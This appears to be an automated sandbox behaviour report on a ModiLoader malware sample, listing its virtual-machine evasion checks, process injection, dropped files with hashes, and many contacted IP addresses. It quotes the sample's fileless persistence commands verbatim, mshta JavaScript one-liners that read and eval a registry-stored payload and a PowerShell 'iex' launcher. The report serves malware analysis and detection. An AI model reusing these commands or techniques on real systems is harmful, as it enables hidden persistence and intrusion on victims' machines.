Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	C:\Windows\SysWOW64\regsvr32.exe	N/A

Looks for VirtualBox drivers on disk

evasion

Description	Indicator	Process	Target
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	C:\Windows\SysWOW64\regsvr32.exe	N/A

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Looks for VMWare Tools registry key

evasion

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	C:\Windows\SysWOW64\regsvr32.exe	N/A

Checks BIOS information in registry

Description	Indicator	Process	Target
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A

Deletes itself

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0815f.lnk	C:\Windows\SysWOW64\regsvr32.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:w7dDYXx=\"TT\";RP43=new%20ActiveXObject(\"WScript.Shell\");Lc1Sdji3=\"sMYrzNHG\";AK6cb3=RP43.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");QI3PxFPL=\"T8atCNUw\";eval(AK6cb3);QbAAyCg2=\"N0d\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\c55956\\379df8.lnk\""	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:te9dmrKW=\"V1aeOHX\";y16D=new%20ActiveXObject(\"WScript.Shell\");lHdT8m=\"WCm\";ZcY6L=y16D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\qkrwuzl\\\\yjiro\");BvwsP8P=\"Us\";eval(ZcY6L);dzthC6O0Y=\"W3sgnQaL\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A

Maps connected drives based on registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops file in System32 directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2436 set thread context of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2804 set thread context of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 set thread context of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\International	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	C:\Windows\SysWOW64\regsvr32.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:s79NoQ=\"8lLRyVI5\";pE6=new ActiveXObject(\"WScript.Shell\");y4FCI=\"D\";fuhM0=pE6.RegRead(\"HKCU\\\\software\\\\qkrwuzl\\\\yjiro\");gcbs0x5E=\"yYa\";eval(fuhM0);XbvwU7v=\"Zw\";\""	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\.925876a\ = "dbb882"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\dbb882\shell\open	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2436 wrote to memory of 2596	N/A	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 2720 wrote to memory of 2804	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2720 wrote to memory of 2804	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2852	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2852 wrote to memory of 284	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:LFQiA1="vM";d79B=new%20ActiveXObject("WScript.Shell");PDFK1k="OQ";Ww44bk=d79B.RegRead("HKLM\\software\\Wow6432Node\\KRyZ6PqgS\\I7inqw6");SuV7G1="Wurs";eval(Ww44bk);v1tt5YL="R9";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:salz

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country	Destination	Domain	Proto
ES	91.126.94.123:80		tcp
BR	177.181.150.184:80		tcp
GB	92.41.224.121:80		tcp
NO	144.180.191.186:80		tcp
DE	51.122.145.36:80		tcp
US	160.145.63.49:80		tcp
US	136.34.71.182:80		tcp
VN	27.70.8.31:80		tcp
US	150.166.238.153:443		tcp
BR	191.246.21.230:80		tcp
BH	157.241.81.233:80		tcp
CN	222.141.91.222:80		tcp
US	204.146.76.212:80		tcp
US	76.100.161.250:80		tcp
CN	14.23.48.162:80		tcp
US	140.48.202.156:80		tcp
US	71.254.54.47:80		tcp
IT	87.19.71.234:80		tcp
US	28.81.70.186:80		tcp
US	108.108.205.159:80		tcp
US	65.219.81.27:80		tcp
ZA	41.118.34.178:80		tcp
RU	31.23.83.4:80		tcp
IT	159.210.134.181:80		tcp
ZA	41.52.112.239:80		tcp
US	129.250.22.24:80		tcp
CN	223.157.80.73:80		tcp
CN	123.81.75.34:80		tcp
VA	85.35.17.33:80		tcp
US	30.177.15.138:80		tcp
US	35.55.149.103:80		tcp
PL	46.134.190.170:443		tcp
US	21.137.209.51:80		tcp
FR	90.125.10.125:80		tcp
US	85.115.211.42:80		tcp
TW	218.170.69.177:80		tcp
AO	105.169.12.147:443		tcp
JP	202.232.203.70:80		tcp
US	38.104.189.92:8080		tcp
US	208.25.170.63:80		tcp
FI	157.24.60.154:80		tcp
MX	189.182.15.185:80		tcp
CN	124.206.245.191:80		tcp
MX	187.250.226.210:80		tcp
NL	17.232.119.91:443		tcp
US	73.42.223.150:80		tcp
US	71.192.237.208:443		tcp
MX	189.251.244.201:80		tcp
DE	51.60.199.190:80		tcp
GB	82.6.65.62:80		tcp
US	66.48.137.14:80		tcp
US	205.171.159.94:80		tcp
US	150.157.101.5:8080		tcp
US	19.12.195.239:80		tcp
US	72.150.99.41:80		tcp
US	7.204.128.70:80		tcp
US	144.233.77.142:8080		tcp
EG	105.202.108.52:80		tcp
US	96.219.48.169:80		tcp
US	97.193.204.59:80		tcp
IL	31.154.227.59:80		tcp
TR	24.133.99.237:80		tcp
SE	16.169.136.248:80		tcp
GB	82.133.9.195:80		tcp
PL	193.201.144.4:80		tcp
US	71.21.167.193:80		tcp
US	30.153.28.232:80		tcp
US	173.228.124.100:443		tcp
TW	42.71.230.223:80		tcp
US	136.27.24.177:80		tcp
GB	213.106.109.182:80		tcp
GB	145.227.188.49:80		tcp
US	30.128.237.236:80		tcp
JP	132.179.191.150:80		tcp
IT	2.35.40.136:80		tcp
US	99.108.87.147:80		tcp
US	18.62.143.92:80		tcp
CA	67.69.208.7:80		tcp
US	140.182.59.38:80		tcp
US	137.192.97.121:80		tcp
US	104.236.125.39:80		tcp
GB	25.159.164.78:80		tcp
IN	182.156.219.43:80		tcp
US	150.170.199.12:80		tcp
SE	62.95.22.207:80		tcp
CN	223.155.96.95:80		tcp
US	206.63.229.63:80		tcp
US	160.69.114.86:80		tcp
CN	112.90.184.88:80		tcp
US	98.226.6.121:8080		tcp
JP	118.21.25.243:80		tcp
US	38.22.11.209:443		tcp
JP	133.240.230.48:80		tcp
US	12.132.37.80:80		tcp
CN	175.17.100.194:80		tcp
PL	89.68.143.191:80		tcp
US	56.152.204.5:80		tcp
CN	171.46.117.35:80		tcp
AR	190.229.1.241:443		tcp
AT	85.217.174.231:80		tcp
US	173.255.209.208:80		tcp
US	38.97.158.117:80		tcp
MA	196.77.39.36:80		tcp
CN	43.182.42.149:80		tcp
JP	220.41.16.174:80		tcp
US	170.219.57.250:8080		tcp
DE	87.245.36.78:80		tcp
US	199.141.95.81:443		tcp
ES	80.173.221.197:80		tcp
US	158.3.221.239:80		tcp
BR	187.93.70.64:80		tcp
CN	139.203.192.40:443		tcp
US	108.114.21.224:80		tcp
CN	221.233.255.55:80		tcp
CA	142.150.96.33:80		tcp
NG	129.18.212.114:80		tcp
TW	114.43.4.165:80		tcp
US	70.178.158.152:443		tcp
ES	79.145.106.183:80		tcp
UA	213.130.7.168:80		tcp
AR	181.8.108.106:80		tcp
US	63.140.171.230:80		tcp
US	214.39.83.142:80		tcp
US	214.1.2.161:8080		tcp
CN	223.220.70.35:80		tcp
DE	193.99.3.27:80		tcp
CN	116.57.138.253:80		tcp
US	131.183.248.18:80		tcp
JP	153.202.122.216:80		tcp
US	207.106.148.218:80		tcp
FR	109.18.56.14:80		tcp
BE	178.145.81.234:80		tcp
US	148.116.81.194:80		tcp
CN	27.26.196.236:80		tcp
US	9.235.20.80:80		tcp
AR	138.185.140.164:80		tcp
AU	136.143.245.3:80		tcp
AU	136.143.245.3:80	136.143.245.3	tcp
JP	153.160.175.99:80		tcp
AU	101.97.47.213:80		tcp
N/A	27.131.141.223:80		tcp

Files

memory/2596-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2596-6-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-7-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-9-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-8-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-11-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2596-12-0x0000000000440000-0x0000000000516000-memory.dmp

memory/2804-21-0x00000000061F0000-0x00000000062C6000-memory.dmp

memory/2852-23-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2804-26-0x00000000061F0000-0x00000000062C6000-memory.dmp

memory/2852-35-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-42-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-41-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-40-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-43-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-45-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-39-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-38-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-47-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-37-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-36-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-58-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-57-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-59-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-66-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-56-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-55-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-54-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-49-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-48-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-46-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-44-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2804-24-0x0000000002ED0000-0x0000000004ED0000-memory.dmp

memory/2852-34-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-33-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-32-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-31-0x0000000000210000-0x0000000000351000-memory.dmp

memory/284-81-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-80-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-79-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-78-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-77-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-76-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-75-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-74-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-73-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-72-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-71-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-70-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-69-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-68-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/284-67-0x0000000000090000-0x00000000001D1000-memory.dmp

memory/2852-25-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-30-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-29-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-28-0x0000000000210000-0x0000000000351000-memory.dmp

memory/2852-27-0x0000000000210000-0x0000000000351000-memory.dmp

C:\Users\Admin\AppData\Local\c55956\ff1237.bat

MD5	a4ee564ba17858e285c3daf96c530e67
SHA1	c9d811ebf359babdd15ca5374ae6afb1b31401b8
SHA256	9134562b968a0afd491534e7074a3ba744c630d819c4f0c199dc79668ad12e1a
SHA512	74e316747b51b52cf8ccf57ed0f3c9a467c15d309d8de7fb905f918178d3b700d4a497e8cd9de355ee29a7a8faccec5bd3665896a96273176c0f07e343827124

C:\Users\Admin\AppData\Local\c55956\4f746e.925876a

MD5	4a4d69ad73fe23590251005c0e431323
SHA1	7129a963d5df0a3ee8ebd1105020afd71710fc8b
SHA256	93a9fc7e0f22b181b5740c9c66bec3c82238e6005de8c5e2ce87507647952187
SHA512	1841ebc341b714d7f6d95d1c22a382d912519ab65b35818e47af020d3b53df3d4db5d85349c00ffc3d70f9d33b649bee391fa341afd13139ea6ec88e2b4462f7

C:\Users\Admin\AppData\Local\c55956\379df8.lnk

MD5	b70f9a5cf1698bee245d8918e30f8b1c
SHA1	3398a5bde6cc5a76937ca960056f453344dc3d5e
SHA256	89d81134e1ecdee1a144b59fbd6ee894da699372d7b8864b8930f23246aa4484
SHA512	47bc328940553bbe0a1a56834be98aaa112dd4af85039efbf9f6f0db44a014aadf78fc2c550b95762b38fd3df1a9743aec7ccda788ee892880f2d2c325424031

C:\Users\Admin\AppData\Roaming\18be8e\b446ee.925876a

MD5	f99f11cf4fc58a8b7a65a039f593d304
